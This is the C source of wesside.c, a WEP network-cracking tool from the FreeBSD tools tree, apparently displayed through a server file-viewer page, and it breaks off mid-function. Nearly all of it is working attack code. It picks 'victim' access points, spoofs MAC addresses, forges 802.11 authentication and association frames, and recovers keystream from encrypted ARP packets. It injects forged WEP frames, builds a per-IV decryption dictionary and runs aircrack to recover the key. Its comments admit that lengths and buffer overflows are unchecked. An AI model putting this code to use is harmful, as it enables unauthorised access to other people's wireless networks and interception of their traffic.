| Current Path : /usr/src/tools/tools/net80211/wesside/wesside/ |
FreeBSD hs32.drive.ne.jp 9.1-RELEASE FreeBSD 9.1-RELEASE #1: Wed Jan 14 12:18:08 JST 2015 root@hs32.drive.ne.jp:/sys/amd64/compile/hs32 amd64 |
| Current File : //usr/src/tools/tools/net80211/wesside/wesside/wesside.c |
/*
* wep owner by sorbo <sorbox@yahoo.com>
* Aug 2005
*
* XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
* overflows. this whole thing is experimental n e way.
*
* $FreeBSD: release/9.1.0/tools/tools/net80211/wesside/wesside/wesside.c 195848 2009-07-24 15:31:22Z sam $
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/endian.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/uio.h>
#include <net/if.h>
#include <net/if_media.h>
#include <net/if_llc.h>
#include <net/if_arp.h>
#include <net/if_types.h>
#include <net/if_dl.h>
#include <net/bpf.h>
#include <net/ethernet.h>
#include <net80211/ieee80211.h>
#include <net80211/ieee80211_ioctl.h>
#include <net80211/ieee80211_radiotap.h>
#include <net80211/ieee80211_freebsd.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <assert.h>
#include <zlib.h>
#include <signal.h>
#include <stdarg.h>
#include <err.h>
#include <pcap.h>
#include "aircrack-ptw-lib.h"
#define FIND_VICTIM 0
#define FOUND_VICTIM 1
#define SENDING_AUTH 2
#define GOT_AUTH 3
#define SPOOF_MAC 4
#define SENDING_ASSOC 5
#define GOT_ASSOC 6
int state = 0;
struct timeval arpsend;
struct tx_state {
int waiting_ack;
struct timeval tsent;
int retries;
unsigned int psent;
} txstate;
struct chan_info {
int s;
struct ieee80211req ireq;
int chan;
} chaninfo;
struct victim_info {
char* ssid;
int chan;
char bss[6];
} victim;
struct frag_state {
struct ieee80211_frame wh;
unsigned char* data;
int len;
unsigned char* ptr;
int waiting_relay;
struct timeval last;
} fragstate;
struct prga_info {
unsigned char* prga;
unsigned int len;
unsigned char iv[3];
} prgainfo;
struct decrypt_state {
unsigned char* cipher;
int clen;
struct prga_info prgainfo;
struct frag_state fragstate;
} decryptstate;
struct wep_log {
unsigned int packets;
unsigned int rate;
int fd;
unsigned char iv[3];
} weplog;
#define LINKTYPE_IEEE802_11 105
#define TCPDUMP_MAGIC 0xA1B2C3D4
unsigned char* floodip = 0;
unsigned short floodport = 6969;
unsigned short floodsport = 53;
unsigned char* netip = 0;
int netip_arg = 0;
int max_chan = 11;
unsigned char* rtrmac = 0;
unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
unsigned char myip[16] = "192.168.0.123";
int bits = 0;
int ttl_val = 0;
PTW_attackstate *ptw;
unsigned char *victim_mac = 0;
int ack_timeout = 100*1000;
#define ARPLEN (8+ 8 + 20)
unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
unsigned char ip_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
#define MCAST_PREF "\x01\x00\x5e\x00\x00"
#define WEP_FILE "wep.cap"
#define KEY_FILE "key.log"
#define PRGA_FILE "prga.log"
unsigned int min_prga = 128;
/*
* When starting aircrack we try first to use a
* local copy, falling back to where the installed
* version is expected.
* XXX builtin pathnames
*/
#define CRACK_LOCAL_CMD "../aircrack/aircrack"
#define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
#define INCR 10000
int thresh_incr = INCR;
#define MAGIC_TTL_PAD 69
int crack_dur = 60;
int wep_thresh = INCR;
int crack_pid = 0;
struct timeval crack_start;
struct timeval real_start;
/* linksys does this. The hardware pads small packets. */
#define PADDED_ARPLEN 54
#define PRGA_LEN (1500-14-20-8)
unsigned char inet_clear[8+20+8+PRGA_LEN+4];
#define DICT_PATH "dict"
#define TAP_DEV "/dev/tap3"
unsigned char tapdev[16];
unsigned char taptx[4096];
unsigned int taptx_len = 0;
int tapfd = -1;
/********** RIPPED
************/
unsigned short in_cksum (unsigned short *ptr, int nbytes) {
register long sum;
u_short oddbyte;
register u_short answer;
sum = 0;
while (nbytes > 1)
{
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1)
{
oddbyte = 0;
*((u_char *) & oddbyte) = *(u_char *) ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
/**************
************/
unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
struct in_addr *dip) {
unsigned char *tmp;
struct ippseudo *ph;
tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
if(!tmp)
err(1, "malloc()");
ph = (struct ippseudo*) tmp;
memcpy(&ph->ippseudo_src, sip, 4);
memcpy(&ph->ippseudo_dst, dip, 4);
ph->ippseudo_pad = 0;
ph->ippseudo_p = IPPROTO_UDP;
ph->ippseudo_len = htons(len);
memcpy(tmp + sizeof(struct ippseudo), stuff, len);
return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
}
void time_print(char* fmt, ...) {
va_list ap;
char lame[1024];
time_t tt;
struct tm *t;
va_start(ap, fmt);
vsnprintf(lame, sizeof(lame), fmt, ap);
va_end(ap);
tt = time(NULL);
if (tt == (time_t)-1) {
perror("time()");
exit(1);
}
t = localtime(&tt);
if (!t) {
perror("localtime()");
exit(1);
}
printf("[%.2d:%.2d:%.2d] %s",
t->tm_hour, t->tm_min, t->tm_sec, lame);
}
void check_key() {
char buf[1024];
int fd;
int rd;
struct timeval now;
fd = open(KEY_FILE, O_RDONLY);
if (fd == -1) {
return;
}
rd = read(fd, buf, sizeof(buf) -1);
if (rd == -1) {
perror("read()");
exit(1);
}
buf[rd] = 0;
close(fd);
printf ("\n\n");
time_print("KEY=(%s)\n", buf);
if (gettimeofday(&now, NULL) == -1) {
perror("gettimeofday()");
exit(1);
}
printf ("Owned in %.02f minutes\n",
((double) now.tv_sec - real_start.tv_sec)/60.0);
exit(0);
}
void kill_crack() {
if (crack_pid == 0)
return;
printf("\n");
time_print("Stopping crack PID=%d\n", crack_pid);
// XXX doesn't return -1 for some reason! [maybe on my box... so it
// might be buggy on other boxes...]
if (kill(crack_pid, SIGINT) == -1) {
perror("kill()");
exit(1);
}
crack_pid = 0;
check_key();
}
void cleanup(int x) {
time_print("\nDying...\n");
if (weplog.fd)
close(weplog.fd);
kill_crack();
exit(0);
}
void set_chan(int c) {
if (c == chaninfo.chan)
return;
chaninfo.ireq.i_val = c;
if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
perror("ioctl(SIOCS80211) [chan]");
exit(1);
}
chaninfo.chan = c;
}
void set_if_mac(unsigned char* mac, unsigned char *name) {
int s;
struct ifreq ifr;
s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
perror("socket()");
exit(1);
}
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, name);
ifr.ifr_addr.sa_family = AF_LINK;
ifr.ifr_addr.sa_len = 6;
memcpy(ifr.ifr_addr.sa_data, mac, 6);
if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
perror("ioctl(SIOCSIFLLADDR)");
exit(1);
}
close(s);
}
void setup_if(char *dev) {
int s;
struct ifreq ifr;
unsigned int flags;
struct ifmediareq ifmr;
int *mwords;
if(strlen(dev) >= IFNAMSIZ) {
time_print("Interface name too long...\n");
exit(1);
}
time_print("Setting up %s... ", dev);
fflush(stdout);
set_if_mac(mymac, dev);
s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
perror("socket()");
exit(1);
}
// set chan
memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
strcpy(chaninfo.ireq.i_name, dev);
chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
chaninfo.chan = 0;
chaninfo.s = s;
set_chan(1);
// set iface up and promisc
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, dev);
if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
perror("ioctl(SIOCGIFFLAGS)");
exit(1);
}
flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
flags |= IFF_UP | IFF_PPROMISC;
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, dev);
ifr.ifr_flags = flags & 0xffff;
ifr.ifr_flagshigh = flags >> 16;
if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
perror("ioctl(SIOCSIFFLAGS)");
exit(1);
}
printf("done\n");
}
int open_bpf(char *dev, int dlt) {
int i;
char buf[64];
int fd = -1;
struct ifreq ifr;
for(i = 0;i < 16; i++) {
sprintf(buf, "/dev/bpf%d", i);
fd = open(buf, O_RDWR);
if(fd < 0) {
if(errno != EBUSY) {
perror("can't open /dev/bpf");
exit(1);
}
continue;
}
else
break;
}
if(fd < 0) {
perror("can't open /dev/bpf");
exit(1);
}
strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
perror("ioctl(BIOCSETIF)");
exit(1);
}
if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
perror("ioctl(BIOCSDLT)");
exit(1);
}
i = 1;
if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
perror("ioctl(BIOCIMMEDIATE)");
exit(1);
}
return fd;
}
void hexdump(unsigned char *ptr, int len) {
while(len > 0) {
printf("%.2X ", *ptr);
ptr++; len--;
}
printf("\n");
}
char* mac2str(unsigned char* mac) {
static char ret[6*3];
sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
return ret;
}
void inject(int fd, void *buf, int len)
{
static struct ieee80211_bpf_params params = {
.ibp_vers = IEEE80211_BPF_VERSION,
/* NB: no need to pass series 2-4 rate+try */
.ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
.ibp_rate0 = 2, /* 1 MB/s XXX */
.ibp_try0 = 1, /* no retransmits */
.ibp_flags = IEEE80211_BPF_NOACK,
.ibp_power = 100, /* nominal max */
.ibp_pri = WME_AC_VO, /* high priority */
};
struct iovec iov[2];
int rc;
iov[0].iov_base = ¶ms;
iov[0].iov_len = params.ibp_len;
iov[1].iov_base = buf;
iov[1].iov_len = len;
rc = writev(fd, iov, 2);
if(rc == -1) {
perror("writev()");
exit(1);
}
if (rc != (len + iov[0].iov_len)) {
time_print("Error Wrote %d out of %d\n", rc,
len+iov[0].iov_len);
exit(1);
}
}
void send_frame(int tx, unsigned char* buf, int len) {
static unsigned char* lame = 0;
static int lamelen = 0;
static int lastlen = 0;
// retransmit!
if (len == -1) {
txstate.retries++;
if (txstate.retries > 10) {
time_print("ERROR Max retransmists for (%d bytes):\n",
lastlen);
hexdump(&lame[0], lastlen);
// exit(1);
}
len = lastlen;
// printf("Warning doing a retransmit...\n");
}
// normal tx
else {
assert(!txstate.waiting_ack);
if (len > lamelen) {
if (lame)
free(lame);
lame = (unsigned char*) malloc(len);
if(!lame) {
perror("malloc()");
exit(1);
}
lamelen = len;
}
memcpy(lame, buf, len);
txstate.retries = 0;
lastlen = len;
}
inject(tx, lame, len);
txstate.waiting_ack = 1;
txstate.psent++;
if (gettimeofday(&txstate.tsent, NULL) == -1) {
perror("gettimeofday()");
exit(1);
}
#if 0
printf("Wrote frame at %lu.%lu\n",
txstate.tsent.tv_sec, txstate.tsent.tv_usec);
#endif
}
unsigned short fnseq(unsigned short fn, unsigned short seq) {
unsigned short r = 0;
if(fn > 15) {
time_print("too many fragments (%d)\n", fn);
exit(1);
}
r = fn;
r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
return r;
}
void fill_basic(struct ieee80211_frame* wh) {
unsigned short* sp;
memcpy(wh->i_addr1, victim.bss, 6);
memcpy(wh->i_addr2, mymac, 6);
memcpy(wh->i_addr3, victim.bss, 6);
sp = (unsigned short*) wh->i_seq;
*sp = fnseq(0, txstate.psent);
sp = (unsigned short*) wh->i_dur;
*sp = htole16(32767);
}
void send_assoc(int tx) {
unsigned char buf[128];
struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
unsigned char* body;
int ssidlen;
memset(buf, 0, sizeof(buf));
fill_basic(wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
body = (unsigned char*) wh + sizeof(*wh);
*body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
// cap + interval
body += 2 + 2;
// ssid
*body++ = 0;
ssidlen = strlen(victim.ssid);
*body++ = ssidlen;
memcpy(body, victim.ssid, ssidlen);
body += ssidlen;
// rates
*body++ = 1;
*body++ = 4;
*body++ = 2;
*body++ = 4;
*body++ = 11;
*body++ = 22;
send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
strlen(victim.ssid) + 2 + 4);
}
void wepify(unsigned char* body, int dlen) {
uLong crc;
unsigned long *pcrc;
int i;
assert(dlen + 4 <= prgainfo.len);
// iv
memcpy(body, prgainfo.iv, 3);
body +=3;
*body++ = 0;
// crc
crc = crc32(0L, Z_NULL, 0);
crc = crc32(crc, body, dlen);
pcrc = (unsigned long*) (body+dlen);
*pcrc = crc;
for (i = 0; i < dlen +4; i++)
*body++ ^= prgainfo.prga[i];
}
void send_auth(int tx) {
unsigned char buf[128];
struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
unsigned short* n;
memset(buf, 0, sizeof(buf));
fill_basic(wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
n++;
*n = 1;
send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
}
int get_victim_ssid(struct ieee80211_frame* wh, int len) {
unsigned char* ptr;
int x;
int gots = 0, gotc = 0;
if (len <= sizeof(*wh)) {
time_print("Warning: short packet in get_victim_ssid()\n");
return 0;
}
ptr = (unsigned char*)wh + sizeof(*wh);
len -= sizeof(*wh);
// only wep baby
if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
return 0;
}
// we want a specific victim
if (victim_mac) {
if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
return 0;
}
// beacon header
x = 8 + 2 + 2;
if (len <= x) {
time_print("Warning short.asdfasdf\n");
return 0;
}
ptr += x;
len -= x;
// SSID
while(len > 2) {
int eid, elen;
eid = *ptr;
ptr++;
elen = *ptr;
ptr++;
len -= 2;
if (len < elen) {
time_print("Warning short....\n");
return 0;
}
// ssid
if (eid == 0) {
if (victim.ssid)
free(victim.ssid);
victim.ssid = (char*) malloc(elen + 1);
if (!victim.ssid) {
perror("malloc()");
exit(1);
}
memcpy(victim.ssid, ptr, elen);
victim.ssid[elen] = 0;
gots = 1;
}
// chan
else if(eid == 3) {
if( elen != 1) {
time_print("Warning len of chan not 1\n");
return 0;
}
victim.chan = *ptr;
gotc = 1;
}
ptr += elen;
len -= elen;
}
if (gots && gotc) {
memcpy(victim.bss, wh->i_addr3, 6);
set_chan(victim.chan);
state = FOUND_VICTIM;
time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
victim.ssid, mac2str(victim.bss), victim.chan);
return 1;
}
return 0;
}
void send_ack(int tx) {
/* firmware acks */
}
void do_llc(unsigned char* buf, unsigned short type) {
struct llc* h = (struct llc*) buf;
memset(h, 0, sizeof(*h));
h->llc_dsap = LLC_SNAP_LSAP;
h->llc_ssap = LLC_SNAP_LSAP;
h->llc_un.type_snap.control = 3;
h->llc_un.type_snap.ether_type = htons(type);
}
void calculate_inet_clear() {
struct ip* ih;
struct udphdr* uh;
uLong crc;
unsigned long *pcrc;
int dlen;
memset(inet_clear, 0, sizeof(inet_clear));
do_llc(inet_clear, ETHERTYPE_IP);
ih = (struct ip*) &inet_clear[8];
ih->ip_hl = 5;
ih->ip_v = 4;
ih->ip_tos = 0;
ih->ip_len = htons(20+8+PRGA_LEN);
ih->ip_id = htons(666);
ih->ip_off = 0;
ih->ip_ttl = ttl_val;
ih->ip_p = IPPROTO_UDP;
ih->ip_sum = 0;
inet_aton(floodip, &ih->ip_src);
inet_aton(myip, &ih->ip_dst);
ih->ip_sum = in_cksum((unsigned short*)ih, 20);
uh = (struct udphdr*) ((char*)ih + 20);
uh->uh_sport = htons(floodport);
uh->uh_dport = htons(floodsport);
uh->uh_ulen = htons(8+PRGA_LEN);
uh->uh_sum = 0;
uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
&ih->ip_src, &ih->ip_dst);
// crc
dlen = 8 + 20 + 8 + PRGA_LEN;
assert (dlen + 4 <= sizeof(inet_clear));
crc = crc32(0L, Z_NULL, 0);
crc = crc32(crc, inet_clear, dlen);
pcrc = (unsigned long*) (inet_clear+dlen);
*pcrc = crc;
#if 0
printf("INET %d\n", sizeof(inet_clear));
hexdump(inet_clear, sizeof(inet_clear));
#endif
}
void set_prga(unsigned char* iv, unsigned char* cipher,
unsigned char* clear, int len) {
int i;
int fd;
if (prgainfo.len != 0)
free(prgainfo.prga);
prgainfo.prga = (unsigned char*) malloc(len);
if (!prgainfo.prga) {
perror("malloc()");
exit(1);
}
prgainfo.len = len;
memcpy(prgainfo.iv, iv, 3);
for (i = 0; i < len; i++) {
prgainfo.prga[i] = ( cipher ? (clear[i] ^ cipher[i]) :
clear[i]);
}
time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
hexdump(prgainfo.prga, prgainfo.len);
if (!cipher)
return;
fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
if (fd == -1) {
perror("open()");
exit(1);
}
i = write(fd, prgainfo.iv, 3);
if (i == -1) {
perror("write()");
exit(1);
}
if (i != 3) {
printf("Wrote %d out of %d\n", i, 3);
exit(1);
}
i = write(fd, prgainfo.prga, prgainfo.len);
if (i == -1) {
perror("write()");
exit(1);
}
if (i != prgainfo.len) {
printf("Wrote %d out of %d\n", i, prgainfo.len);
exit(1);
}
close(fd);
}
void log_dictionary(unsigned char* body, int len) {
char paths[3][3];
int i, rd;
int fd;
unsigned char path[128];
unsigned char file_clear[sizeof(inet_clear)];
unsigned char* data;
len -= 4; // IV etc..
assert (len == sizeof(inet_clear));
data = body +4;
if (len > prgainfo.len)
set_prga(body, data, inet_clear, len);
for (i = 0; i < 3; i++)
snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
strcpy(path, DICT_PATH);
// first 2 bytes
for (i = 0; i < 2; i++) {
strcat(path, "/");
strcat(path, paths[i]);
fd = open(path, O_RDONLY);
if (fd == -1) {
if (errno != ENOENT) {
perror("open()");
exit(1);
}
if (mkdir(path, 0755) == -1) {
perror("mkdir()");
exit(1);
}
}
else
close(fd);
}
// last byte
strcat(path, "/");
strcat(path, paths[2]);
fd = open(path, O_RDWR);
// already exists... see if we are consistent...
if (fd != -1) {
rd = read(fd, file_clear, sizeof(file_clear));
if (rd == -1) {
perror("read()");
exit(1);
}
// check consistency....
for (i = 0; i < rd; i++) {
if (file_clear[i] !=
(data[i] ^ inet_clear[i])) {
printf("Mismatch in byte %d for:\n", i);
hexdump(body, len+4);
exit(1);
}
}
// no need to log
if (i >= sizeof(inet_clear)) {
#if 0
time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
body[0], body[1], body[2]);
#endif
close(fd);
return;
}
// file has less... fd still open
} else {
fd = open(path, O_WRONLY | O_CREAT, 0644);
if (fd == -1) {
printf("Can't open (%s): %s\n", path,
strerror(errno));
exit(1);
}
}
assert (sizeof(file_clear) >= sizeof(inet_clear));
for(i = 0; i < len; i++)
file_clear[i] = data[i] ^ inet_clear[i];
rd = write(fd, file_clear, len);
if (rd == -1) {
perror("write()");
exit(1);
}
if (rd != len) {
printf("Wrote %d of %d\n", rd, len);
exit(1);
}
close(fd);
}
void stuff_for_us(struct ieee80211_frame* wh, int len) {
int type,stype;
unsigned char* body;
type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
body = (unsigned char*) wh + sizeof(*wh);
// CTL
if (type == IEEE80211_FC0_TYPE_CTL) {
if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
txstate.waiting_ack = 0;
return;
}
if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
return;
}
if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
return;
}
time_print ("got CTL=%x\n", stype);
return;
}
// MGM
if (type == IEEE80211_FC0_TYPE_MGT) {
if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
unsigned short* rc = (unsigned short*) body;
printf("\n");
time_print("Got deauth=%u\n", le16toh(*rc));
state = FOUND_VICTIM;
return;
exit(1);
}
else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
unsigned short* sc = (unsigned short*) body;
if (*sc != 0) {
time_print("Warning got auth algo=%x\n", *sc);
exit(1);
return;
}
sc++;
if (*sc != 2) {
time_print("Warning got auth seq=%x\n", *sc);
return;
}
sc++;
if (*sc == 1) {
time_print("Auth rejected... trying to spoof mac.\n");
state = SPOOF_MAC;
return;
}
else if (*sc == 0) {
time_print("Authenticated\n");
state = GOT_AUTH;
return;
}
else {
time_print("Got auth %x\n", *sc);
exit(1);
}
}
else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
unsigned short* sc = (unsigned short*) body;
sc++; // cap
if (*sc == 0) {
sc++;
unsigned int aid = le16toh(*sc) & 0x3FFF;
time_print("Associated (ID=%x)\n", aid);
state = GOT_ASSOC;
return;
} else if (*sc == 12) {
time_print("Assoc rejected..."
" trying to spoof mac.\n");
state = SPOOF_MAC;
return;
} else {
time_print("got assoc %x\n", *sc);
exit(1);
}
} else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
return;
}
time_print("\nGOT MAN=%x\n", stype);
exit(1);
}
if (type == IEEE80211_FC0_TYPE_DATA &&
stype == IEEE80211_FC0_SUBTYPE_DATA) {
int dlen;
dlen = len - sizeof(*wh) - 4 -4;
if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
mac2str(wh->i_addr2), dlen, stype);
return;
}
assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
rtrmac = (unsigned char *) malloc(6);
if (!rtrmac) {
perror("malloc()");
exit(1);
}
assert( rtrmac > (unsigned char*) 1);
memcpy (rtrmac, wh->i_addr3, 6);
time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
return;
}
#if 0
// check if its a TTL update from dictionary stuff
if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
int ttl_delta, new_ttl;
ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
new_ttl = 128 - ttl_delta;
if (ttl_val && new_ttl != ttl_val) {
time_print("oops. ttl changed from %d to %d\n",
ttl_val, new_ttl);
exit(1);
}
if (!ttl_val) {
ttl_val = new_ttl;
printf("\n");
time_print("Got TTL of %d\n", ttl_val);
calculate_inet_clear();
}
}
// check if its dictionary data
if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
log_dictionary(body, len - sizeof(*wh));
}
#endif
}
#if 0
printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
type, stype, mac2str(wh->i_addr2), len);
#endif
}
void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
unsigned char* body;
int bodylen;
unsigned char clear[36];
unsigned char* ptr;
struct arphdr* h;
int i;
body = (unsigned char*) wh+sizeof(*wh);
ptr = clear;
// calculate clear-text
memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
ptr += sizeof(arp_clear) -1;
h = (struct arphdr*)ptr;
h->ar_hrd = htons(ARPHRD_ETHER);
h->ar_pro = htons(ETHERTYPE_IP);
h->ar_hln = 6;
h->ar_pln = 4;
h->ar_op = htons(ARPOP_REQUEST);
ptr += sizeof(*h);
memcpy(ptr, wh->i_addr3, 6);
bodylen = rd - sizeof(*wh) - 4 - 4;
decryptstate.clen = bodylen;
decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
if (!decryptstate.cipher) {
perror("malloc()");
exit(1);
}
decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
if (!decryptstate.prgainfo.prga) {
perror("malloc()");
exit(1);
}
memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
memcpy(decryptstate.prgainfo.iv, body, 3);
memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
for(i = 0; i < (8+8+6); i++) {
decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
clear[i];
}
decryptstate.prgainfo.len = i;
time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
}
void log_wep(struct ieee80211_frame* wh, int len) {
int rd;
struct pcap_pkthdr pkh;
struct timeval tv;
unsigned char *body = (unsigned char*) (wh+1);
memset(&pkh, 0, sizeof(pkh));
pkh.caplen = pkh.len = len;
if (gettimeofday(&tv, NULL) == -1)
err(1, "gettimeofday()");
pkh.ts = tv;
if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
err(1, "write()");
rd = write(weplog.fd, wh, len);
if (rd == -1) {
perror("write()");
exit(1);
}
if (rd != len) {
time_print("short write %d out of %d\n", rd, len);
exit(1);
}
#if 0
if (fsync(weplog.fd) == -1) {
perror("fsync()");
exit(1);
}
#endif
memcpy(weplog.iv, body, 3);
weplog.packets++;
}
void try_dictionary(struct ieee80211_frame* wh, int len) {
unsigned char *body;
char path[52];
char paths[3][3];
int i;
int fd, rd;
unsigned char packet[4096];
int dlen;
struct ether_header* eh;
uLong crc;
unsigned long *pcrc;
unsigned char* dmac, *smac;
assert (len < sizeof(packet) + sizeof(*eh));
body = (unsigned char*) wh + sizeof(*wh);
for (i = 0; i < 3; i++)
snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
fd = open(path, O_RDONLY);
if (fd == -1)
return;
rd = read(fd, &packet[6], sizeof(packet)-6);
if (rd == -1) {
perror("read()");
exit(1);
}
close(fd);
dlen = len - sizeof(*wh) - 4;
if (dlen > rd) {
printf("\n");
time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
dlen);
return;
}
body += 4;
for (i = 0; i < dlen; i++)
packet[6+i] ^= body[i];
dlen -= 4;
crc = crc32(0L, Z_NULL, 0);
crc = crc32(crc, &packet[6], dlen);
pcrc = (unsigned long*) (&packet[6+dlen]);
if (*pcrc != crc) {
printf("\n");
time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
path, *pcrc, crc);
return;
}
// fill ethernet header
eh = (struct ether_header*) packet;
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
smac = wh->i_addr3;
else
smac = wh->i_addr2;
if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
dmac = wh->i_addr3;
else
dmac = wh->i_addr1;
memcpy(eh->ether_dhost, dmac, 6);
memcpy(eh->ether_shost, smac, 6);
// ether type should be there from llc
dlen -= 8; // llc
dlen += sizeof(*eh);
#if 0
printf("\n");
time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
hexdump(packet, dlen);
#endif
rd = write(tapfd, packet, dlen);
if (rd == -1) {
perror("write()");
exit(1);
}
if (rd != dlen) {
printf("Wrote %d / %d\n", rd, dlen);
exit(1);
}
}
int is_arp(struct ieee80211_frame *wh, int len)
{
int arpsize = 8 + sizeof(struct arphdr) + 10*2;
if (len == arpsize || len == 54)
return 1;
return 0;
}
void *get_sa(struct ieee80211_frame *wh)
{
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
return wh->i_addr3;
else
return wh->i_addr2;
}
void *get_da(struct ieee80211_frame *wh)
{
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
return wh->i_addr1;
else
return wh->i_addr3;
}
int known_clear(void *clear, struct ieee80211_frame *wh, int len)
{
unsigned char *ptr = clear;
/* IP */
if (!is_arp(wh, len)) {
unsigned short iplen = htons(len - 8);
// printf("Assuming IP %d\n", len);
len = sizeof(S_LLC_SNAP_IP) - 1;
memcpy(ptr, S_LLC_SNAP_IP, len);
ptr += len;
#if 1
len = 2;
memcpy(ptr, "\x45\x00", len);
ptr += len;
memcpy(ptr, &iplen, len);
ptr += len;
#endif
len = ptr - ((unsigned char*)clear);
return len;
}
// printf("Assuming ARP %d\n", len);
/* arp */
len = sizeof(S_LLC_SNAP_ARP) - 1;
memcpy(ptr, S_LLC_SNAP_ARP, len);
ptr += len;
/* arp hdr */
len = 6;
memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
ptr += len;
/* type of arp */
len = 2;
if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
memcpy(ptr, "\x00\x01", len);
else
memcpy(ptr, "\x00\x02", len);
ptr += len;
/* src mac */
